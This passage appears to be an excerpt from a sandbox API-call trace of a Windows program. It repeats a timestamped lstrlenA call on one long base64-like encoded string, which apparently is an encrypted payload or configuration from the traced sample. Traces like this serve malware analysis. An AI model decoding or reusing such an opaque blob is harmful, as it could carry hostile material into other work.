8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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